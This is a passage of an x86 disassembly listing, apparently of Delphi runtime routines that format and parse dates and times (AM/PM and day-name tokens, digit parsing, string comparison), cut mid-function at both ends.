		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009AC8:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 44
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_40009AE3
		mov	[ebp+var_C], 2


loc_40009AE3:				; CODE XREF: sub_400096A8+432j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_18]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009AF9:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 49
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_C], 2
		jle	short loc_40009B14
		mov	[ebp+var_C], 2


loc_40009B14:				; CODE XREF: sub_400096A8+463j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1A]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B2A:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 50
		call	sub_40009370
		pop	ecx
		cmp	[ebp+var_C], 1
		jnz	short loc_40009B4B
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E828
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B4B:				; CODE XREF: sub_400096A8+48Dj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E82C
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B5F:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 56
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_C], 3
		jle	short loc_40009B7A
		mov	[ebp+var_C], 3


loc_40009B7A:				; CODE XREF: sub_400096A8+4C9j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_1C]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009B90:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 31
		call	sub_400093D4
		pop	ecx
		mov	esi, [edi]
		dec	esi
		mov	edx, offset dword_40009E3C
		mov	ecx, 5
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009BD6
		cmp	[ebp+var_16], 0Ch
		jb	short loc_40009BB9
		add	esi, 3


loc_40009BB9:				; CODE XREF: sub_400096A8+50Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 2
		mov	eax, esi
		call	sub_400092C4
		pop	ecx
		add	dword ptr [edi], 4
		mov	[ebp+var_1F], 1
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009BD6:				; CODE XREF: sub_400096A8+505j
		mov	edx, offset dword_40009E44
		mov	ecx, 3
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009C12
		cmp	[ebp+var_16], 0Ch
		jb	short loc_40009BF5
		add	esi, 2


loc_40009BF5:				; CODE XREF: sub_400096A8+548j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, 1
		mov	eax, esi
		call	sub_400092C4
		pop	ecx
		add	dword ptr [edi], 2
		mov	[ebp+var_1F], 1
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009C12:				; CODE XREF: sub_400096A8+541j
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009C5A
		cmp	[ebp+var_16], 0Ch
		jnb	short loc_40009C3F
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E820
		call	sub_40009308
		pop	ecx
		jmp	short loc_40009C4E
; ---------------------------------------------------------------------------


loc_40009C3F:				; CODE XREF: sub_400096A8+584j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E824
		call	sub_40009308
		pop	ecx


loc_40009C4E:				; CODE XREF: sub_400096A8+595j
		add	dword ptr [edi], 3
		mov	[ebp+var_1F], 1
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009C5A:				; CODE XREF: sub_400096A8+57Dj
		mov	edx, offset aAaaa ; "AAAA"
		mov	ecx, 4
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009CA0
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E8A8[eax*4]
		call	sub_40009308
		pop	ecx
		add	dword ptr [edi], 3
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009CA0:				; CODE XREF: sub_400096A8+5C5j
		mov	edx, offset aAaa ; "AAA"
		mov	ecx, 3
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009CE6
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E88C[eax*4]
		call	sub_40009308
		pop	ecx
		add	dword ptr [edi], 2
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009CE6:				; CODE XREF: sub_400096A8+60Bj
		mov	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009CFD:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 33
		call	sub_40009370
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E814
		call	sub_400096A8
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		cmp	[ebp+var_16], 0
		jnz	short loc_40009D33
		cmp	[ebp+var_18], 0
		jnz	short loc_40009D33
		cmp	[ebp+var_1A], 0
		jz	loc_40009DFD


loc_40009D33:				; CODE XREF: sub_400096A8+677j
					; sub_400096A8+67Ej
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset asc_40009E5C ; " "
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E82C
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009D5B:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		cmp	ds:byte_4001E811, 0 ; jumptable	40009789 case 13
		jz	loc_40009DFD
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_4001E811
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		jmp	short loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009D7E:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		cmp	ds:byte_4001E81C, 0 ; jumptable	40009789 case 24
		jz	short loc_40009DFD
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, offset byte_4001E81C
		mov	edx, 1
		call	sub_400092C4
		pop	ecx
		jmp	short loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009D9D:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		mov	esi, [edi]	; jumptable 40009789 cases 0,5
		jmp	short loc_40009DBF
; ---------------------------------------------------------------------------


loc_40009DA1:				; CODE XREF: sub_400096A8+726j
		mov	eax, [edi]
		movzx	eax, byte ptr [eax]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_40009DBD
		mov	eax, [edi]
		call	sub_4000BB80
		mov	[edi], eax
		jmp	short loc_40009DBF
; ---------------------------------------------------------------------------


loc_40009DBD:				; CODE XREF: sub_400096A8+708j
		inc	dword ptr [edi]


loc_40009DBF:				; CODE XREF: sub_400096A8+6F7j
					; sub_400096A8+713j
		mov	eax, [edi]
		cmp	byte ptr [eax],	0
		jz	short loc_40009DD0
		mov	eax, [edi]
		movzx	eax, byte ptr [eax]
		cmp	al, [ebp+var_5]
		jnz	short loc_40009DA1


loc_40009DD0:				; CODE XREF: sub_400096A8+71Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	edx, [edi]
		sub	edx, esi
		mov	eax, esi
		call	sub_400092C4
		pop	ecx
		mov	eax, [edi]
		cmp	byte ptr [eax],	0
		jz	short loc_40009DFD
		inc	dword ptr [edi]
		jmp	short loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009DEB:				; CODE XREF: sub_400096A8+D4j
					; sub_400096A8+E1j
					; DATA XREF: ...
		mov	eax, [ebp+arg_0] ; default
					; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
		push	eax
		lea	eax, [ebp+var_5]
		mov	edx, 1
		call	sub_400092C4
		pop	ecx


loc_40009DFD:				; CODE XREF: sub_400096A8+57j
					; sub_400096A8+96j ...
		mov	eax, [edi]
		cmp	byte ptr [eax],	0
		jnz	loc_40009704
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax-108h]


loc_40009E11:				; CODE XREF: sub_400096A8+28j
					; sub_400096A8+38j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40009E33


loc_40009E1E:				; CODE XREF: sub_400096A8+789j
		lea	eax, [ebp+var_2C]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40009E2C:				; DATA XREF: sub_400096A8+1Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40009E1E
; ---------------------------------------------------------------------------


loc_40009E33:				; CODE XREF: sub_400096A8+783j
					; DATA XREF: sub_400096A8+771o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400096A8	endp

; ---------------------------------------------------------------------------
		align 4
dword_40009E3C	dd 502F4D41h, 4Dh					; sub_400096A8+4F2o
dword_40009E44	dd 502F41h						; sub_400096A8:loc_40009BD6o
aAmpm		db 'AMPM',0             ; DATA XREF: sub_400096A8+3A6o
					; sub_400096A8:loc_40009C12o
		align 10h
aAaaa		db 'AAAA',0             ; DATA XREF: sub_400096A8:loc_40009C5Ao
		align 4
aAaa		db 'AAA',0              ; DATA XREF: sub_400096A8:loc_40009CA0o
asc_40009E5C:				; DATA XREF: sub_400096A8+68Fo
		unicode	0, < >,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009E60	proc near		; CODE XREF: sub_4000D158+3Ap

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[ebp+var_104], eax
		xor	eax, eax
		mov	[ebp+var_108], eax
		test	ebx, ebx
		jz	short loc_40009E8E
		push	ebp
		mov	eax, ebx
		call	sub_400096A8
		pop	ecx
		jmp	short loc_40009E9A
; ---------------------------------------------------------------------------


loc_40009E8E:				; CODE XREF: sub_40009E60+21j
		push	ebp
		mov	eax, offset dword_40009EB8
		call	sub_400096A8
		pop	ecx


loc_40009E9A:				; CODE XREF: sub_40009E60+2Cj
		lea	edx, [ebp+var_100]
		mov	eax, esi
		mov	ecx, [ebp+var_104]
		call	sub_40004974
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40009E60	endp

; ---------------------------------------------------------------------------
		align 4
dword_40009EB8	dd 43h		
; =============== S U B	R O U T	I N E =======================================



sub_40009EBC	proc near		; CODE XREF: sub_40009EE0+20p
					; sub_40009F74+36p ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	ebx, [edi]
		jmp	short loc_40009EC8
; ---------------------------------------------------------------------------


loc_40009EC7:				; CODE XREF: sub_40009EBC+1Cj
		inc	ebx


loc_40009EC8:				; CODE XREF: sub_40009EBC+9j
		mov	eax, esi
		call	sub_40004B44
		cmp	ebx, eax
		jg	short loc_40009EDA
		cmp	byte ptr [esi+ebx-1], 20h
		jz	short loc_40009EC7


loc_40009EDA:				; CODE XREF: sub_40009EBC+15j
		mov	[edi], ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40009EBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009EE0	proc near		; CODE XREF: sub_4000A1CC+B9p
					; sub_4000A1CC+E9p ...

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	[ebp+var_9], 0
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	edx, [ebp+var_4]
		mov	eax, edi
		call	sub_40009EBC
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		xor	esi, esi
		jmp	short loc_40009F24
; ---------------------------------------------------------------------------


loc_40009F0E:				; CODE XREF: sub_40009EE0+5Fj
		mov	eax, esi
		add	eax, eax
		lea	eax, [eax+eax*4]
		movzx	edx, byte ptr [edi+ebx-1]
		sub	dx, 30h
		add	ax, dx
		mov	esi, eax
		inc	ebx


loc_40009F24:				; CODE XREF: sub_40009EE0+2Cj
		mov	eax, edi
		call	sub_40004B44
		cmp	ebx, eax
		jg	short loc_40009F41
		movzx	eax, byte ptr [edi+ebx-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_40009F41
		cmp	si, 3E8h
		jb	short loc_40009F0E


loc_40009F41:				; CODE XREF: sub_40009EE0+4Dj
					; sub_40009EE0+58j
		mov	eax, [ebp+var_4]
		cmp	ebx, [eax]
		jle	short loc_40009F65
		mov	eax, ebx
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		sub	al, dl
		mov	edx, [ebp+arg_0]
		mov	[edx], al
		mov	eax, [ebp+var_4]
		mov	[eax], ebx
		mov	eax, [ebp+var_8]
		mov	[eax], si
		mov	[ebp+var_9], 1


loc_40009F65:				; CODE XREF: sub_40009EE0+66j
		movzx	eax, [ebp+var_9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40009EE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009F74	proc near		; CODE XREF: sub_4000A518+1Dp
					; sub_4000A518+2Fp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000A03A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_9], 0
		test	ebx, ebx
		jz	loc_4000A024
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_40009EBC
		mov	esi, ebx
		test	esi, esi
		jz	short loc_40009FBA
		sub	esi, 4
		mov	esi, [esi]


loc_40009FBA:				; CODE XREF: sub_40009F74+3Fj
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_8]
		mov	edx, [edx]
		mov	ecx, esi
		mov	eax, [ebp+var_4]
		call	sub_40004DA8
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	esi, ebx
		test	esi, esi
		jz	short loc_40009FDE
		sub	esi, 4
		mov	esi, [esi]


loc_40009FDE:				; CODE XREF: sub_40009F74+63j
		mov	edi, [ebp+var_10]
		test	edi, edi
		jz	short loc_40009FEA
		sub	edi, 4
		mov	edi, [edi]


loc_40009FEA:				; CODE XREF: sub_40009F74+6Fj
		push	edi
		mov	eax, [ebp+var_10]
		call	sub_40004D48
		push	eax
		push	esi
		mov	eax, ebx
		call	sub_40004D48
		push	eax
		push	1
		push	400h
		call	sub_400064F8	; CompareStringA
		sub	eax, 2
		test	eax, eax
		jnz	short loc_4000A024
		mov	eax, ebx
		test	eax, eax
		jz	short loc_4000A01B
		sub	eax, 4
		mov	eax, [eax]


loc_4000A01B:				; CODE XREF: sub_40009F74+A0j
		mov	edx, [ebp+var_8]
		add	[edx], eax
		mov	[ebp+var_9], 1


loc_4000A024:				; CODE XREF: sub_40009F74+2Aj
					; sub_40009F74+9Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000A041


loc_4000A031:				; CODE XREF: sub_40009F74+CBj
		lea	eax, [ebp+var_14]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000A03A:				; DATA XREF: sub_40009F74+19o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000A031
; ---------------------------------------------------------------------------


loc_4000A041:				; CODE XREF: sub_40009F74+C5j
					; DATA XREF: sub_40009F74+B8o
		movzx	eax, [ebp+var_9]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009F74	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000A04C	proc near		; CODE XREF: sub_4000A1CC+D1p
					; sub_4000A1CC+101p ...

var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	[esp+10h+var_10], cl
		mov	edi, edx
		mov	esi, eax
		xor	ebx, ebx
		mov	edx, edi
		mov	eax, esi
		call	sub_40009EBC
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000A06D
		sub	eax, 4
		mov	eax, [eax]


loc_4000A06D:				; CODE XREF: sub_4000A04C+1Aj
		cmp	eax, [edi]
		jl	short loc_4000A081
		mov	eax, [edi]
		movzx	eax, byte ptr [esi+eax-1]
		cmp	al, [esp+10h+var_10]
		jnz	short loc_4000A081
		inc	dword ptr [edi]
		mov	bl, 1


loc_4000A081:				; CODE XREF: sub_4000A04C+23j
					; sub_4000A04C+2Fj
		mov	eax, ebx
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A04C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000A088	proc near		; CODE XREF: sub_4000A1CC+47p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		mov	edi, 1
		jmp	short loc_4000A0C0
; ---------------------------------------------------------------------------


loc_4000A096:				; CODE XREF: sub_4000A088+41j
		movzx	eax, byte ptr [esi+edi-1]
		and	al, 0DFh
		sub	al, 44h
		jz	short loc_4000A0BB
		dec	al
		jz	short loc_4000A0AF
		sub	al, 8
		jz	short loc_4000A0B7
		sub	al, 0Ch
		jz	short loc_4000A0B3
		jmp	short loc_4000A0BF
; ---------------------------------------------------------------------------


loc_4000A0AF:				; CODE XREF: sub_4000A088+1Bj
		mov	bl, 2
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0B3:				; CODE XREF: sub_4000A088+23j
		mov	bl, 2
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0B7:				; CODE XREF: sub_4000A088+1Fj
		xor	ebx, ebx
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0BB:				; CODE XREF: sub_4000A088+17j
		mov	bl, 1
		jmp	short loc_4000A0CD
; ---------------------------------------------------------------------------


loc_4000A0BF:				; CODE XREF: sub_4000A088+25j
		inc	edi


loc_4000A0C0:				; CODE XREF: sub_4000A088+Cj
		mov	eax, esi
		call	sub_40004B44
		cmp	edi, eax
		jle	short loc_4000A096
		xor	ebx, ebx


loc_4000A0CD:				; CODE XREF: sub_4000A088+29j
					; sub_4000A088+2Dj ...
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A088	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A0D4	proc near		; CODE XREF: sub_4000A1CC+62p
					; sub_4000A1CC+25Fp
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		jmp	short loc_4000A0FE
; ---------------------------------------------------------------------------


loc_4000A0DC:				; CODE XREF: sub_4000A0D4+40j
		mov	eax, [ebx]
		movzx	eax, byte ptr [esi+eax-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000A0FC
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_4000BBC0
		mov	[ebx], eax
		jmp	short loc_4000A0FE
; ---------------------------------------------------------------------------


loc_4000A0FC:				; CODE XREF: sub_4000A0D4+19j
		inc	dword ptr [ebx]


loc_4000A0FE:				; CODE XREF: sub_4000A0D4+6j
					; sub_4000A0D4+26j
		mov	eax, esi
		call	sub_40004B44
		cmp	eax, [ebx]
		jl	short loc_4000A116
		mov	eax, [ebx]
		movzx	eax, byte ptr [esi+eax-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_4000A0DC


loc_4000A116:				; CODE XREF: sub_4000A0D4+33j
		pop	esi
		pop	ebx
		retn
sub_4000A0D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000A11C	proc near		; CODE XREF: sub_4000A1CC+88p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebp, eax
		xor	eax, eax
		mov	[esp+14h+var_14], eax
		mov	edi, 7
		mov	ebx, offset dword_4001E8D8
		mov	esi, offset dword_4001E8F4


loc_4000A137:				; CODE XREF: sub_4000A11C+47j
		cmp	dword ptr [ebx], 0
		jz	short loc_4000A165
		mov	eax, ebp
		call	sub_40004D48
		push	eax
		mov	eax, [ebx]
		call	sub_40004D48
		pop	edx
		call	sub_4000BC30
		test	eax, eax
		jz	short loc_4000A15C
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		jmp	short loc_4000A165
; ---------------------------------------------------------------------------


loc_4000A15C:				; CODE XREF: sub_4000A11C+37j
		add	esi, 4
		add	ebx, 4
		dec	edi
		jnz	short loc_4000A137


loc_4000A165:				; CODE XREF: sub_4000A11C+1Ej
					; sub_4000A11C+3Ej
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000A11C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A170	proc near		; CODE XREF: sub_4000A1CC+195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		cmp	ds:dword_4001E8CC, 12h
		jnz	short loc_4000A1B9
		cmp	ebx, 63h
		jg	short loc_4000A1A8
		call	sub_400092B0
		movzx	ecx, ax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		cdq
		xor	eax, edx
		sub	eax, edx
		add	ecx, eax
		mov	eax, ecx
		mov	ecx, 64h
		cdq
		idiv	ecx
		imul	eax, 64h
		add	ebx, eax


loc_4000A1A8:				; CODE XREF: sub_4000A170+12j
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-4], 0
		jle	short loc_4000A1BF
		mov	eax, [ebp+arg_0]
		neg	dword ptr [eax-4]
		jmp	short loc_4000A1BF
; ---------------------------------------------------------------------------


loc_4000A1B9:				; CODE XREF: sub_4000A170+Dj
		mov	eax, [ebp+arg_0]
		dec	dword ptr [eax-4]


loc_4000A1BF:				; CODE XREF: sub_4000A170+3Fj
					; sub_4000A170+47j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_4000A170	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000A1CC	proc near		; CODE XREF: sub_4000A710+14p
					; sub_4000A780+25p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000A4EE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	edi, edi
		mov	[ebp+var_16], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_D], 0
		mov	eax, ds:dword_4001E814
		call	sub_4000A088
		mov	[ebp+var_E], al
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4001E814
		cmp	byte ptr [eax],	67h
		jnz	short loc_4000A25E
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000A0D4
		lea	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebx]
		dec	ecx
		mov	edx, 1
		mov	eax, esi
		call	sub_40004DA8
		mov	eax, [ebp+var_20]
		lea	edx, [ebp+var_8]
		call	sub_40007BF8
		mov	eax, [ebp+var_8]
		call	sub_4000A11C
		mov	[ebp+var_4], eax
		jmp	short loc_4000A27A
; ---------------------------------------------------------------------------


loc_4000A25E:				; CODE XREF: sub_4000A1CC+5Cj
		mov	edx, ds:dword_4001E814
		mov	eax, offset dword_4000A508
		call	sub_4000BBF8
		test	eax, eax
		jle	short loc_4000A27A
		mov	eax, ds:dword_4001E8F4
		mov	[ebp+var_4], eax


loc_4000A27A:				; CODE XREF: sub_4000A1CC+90j
					; sub_4000A1CC+A4j
		lea	eax, [ebp+var_19]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A4CB
		mov	edx, ebx
		movzx	ecx, ds:byte_4001E811
		mov	eax, esi
		call	sub_4000A04C
		test	al, al
		jz	loc_4000A4CB
		lea	eax, [ebp+var_1A]
		push	eax
		lea	ecx, [ebp+var_12]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A4CB
		mov	edx, ebx
		movzx	ecx, ds:byte_4001E811
		mov	eax, esi
		call	sub_4000A04C
		test	al, al
		jz	loc_4000A3AC
		lea	eax, [ebp+var_1B]
		push	eax
		lea	ecx, [ebp+var_14]
		mov	edx, ebx
		mov	eax, esi
		call	sub_40009EE0
		test	al, al
		jz	loc_4000A4CB
		movzx	eax, [ebp+var_E]
		sub	al, 1
		jb	short loc_4000A302
		jz	short loc_4000A31F
		dec	al
		jz	short loc_4000A33C
		jmp	short loc_4000A357
; ---------------------------------------------------------------------------


loc_4000A302:				; CODE XREF: sub_4000A1CC+12Cj
		movzx	edi, [ebp+var_14]
		movzx	eax, [ebp+var_1B]
		mov	[ebp+var_1C], al
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_18], ax
		jmp	short loc_4000A357
; ---------------------------------------------------------------------------


loc_4000A31F:				; CODE XREF: sub_4000A1CC+12Ej
		movzx	edi, [ebp+var_14]
		movzx	eax, [ebp+var_1B]
		mov	[ebp+var_1C], al
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_10]
		mov	[ebp+var_18], ax
		jmp	short loc_4000A357
; ---------------------------------------------------------------------------


loc_4000A33C:				; CODE XREF: sub_4000A1CC+132j
		movzx	edi, [ebp+var_10]
		movzx	eax, [ebp+var_19]
		mov	[ebp+var_1C], al
		movzx	eax, [ebp+var_12]
		mov	[ebp+var_16], ax
		movzx	eax, [ebp+var_14]
		mov	[ebp+var_18], ax


loc_4000A357:				; CODE XREF: sub_4000A1CC+134j
					; sub_4000A1CC+151j ...
		cmp	[ebp+var_4], 0
		jle	short loc_4000A36B
		push	ebp
		movzx	eax, di
		call	sub_4000A170
		pop	ecx
		mov	edi, eax
		jmp	short loc_4000A3DB
; ---------------------------------------------------------------------------


loc_4000A36B:				; CODE XREF: sub_4000A1CC+18Fj
		cmp	[ebp+var_1C], 2
		ja	short loc_4000A3DB
		call	sub_400092B0
		movzx	ecx, ax
		movzx	eax, word_4001A7F8
		sub	ecx, eax
		mov	eax, ecx
